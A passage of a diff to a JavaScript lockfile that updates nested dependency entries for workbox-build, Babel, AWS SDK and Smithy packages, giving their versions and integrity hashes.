"sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/globals": ["globals@11.12.0", "", {}, "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="], - - "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="], - - "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="], - - "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="], - - "workbox-build/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], + "workbox-build/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.28.6", "", { "dependencies": { "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw=="], "workbox-build/@rollup/plugin-replace/@rollup/pluginutils/@types/estree": ["@types/estree@0.0.39", "", {}, "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw=="], @@ -8373,28 +8031,34 @@ "workbox-build/@rollup/plugin-replace/@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], + "workbox-build/glob/jackspeak/@isaacs/cliui": ["@isaacs/cliui@9.0.0", "", {}, "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg=="], + + "workbox-build/glob/path-scurry/lru-cache": ["lru-cache@11.2.2", "", {}, "sha512-F9ODfyqML2coTIsQpSkRHnLSZMtkU8Q+mSfcaIyKwy58u+8k5nvAYeiNhsyMARvzNcXJ9QfWVrcPsC9e9rAxtg=="], + "workbox-build/source-map/whatwg-url/tr46": ["tr46@1.0.1", "", { "dependencies": { "punycode": "^2.1.0" } }, "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA=="], "workbox-build/source-map/whatwg-url/webidl-conversions": ["webidl-conversions@4.0.2", "", {}, "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg=="], - "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], - "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="], "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], - "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@aws-sdk/client-cognito-identity/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="], - "@aws-sdk/client-kendra/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], - "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="], "@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], @@ -8409,76 +8073,86 @@ "@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@3.0.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahM1lQv2YjmznnfQsWbYojFe55l0SLG/988brlLv1i8z3dubloLF+75ATRsqPBboUXsW6I9CPGE5rQgLfY0vQ=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="], + 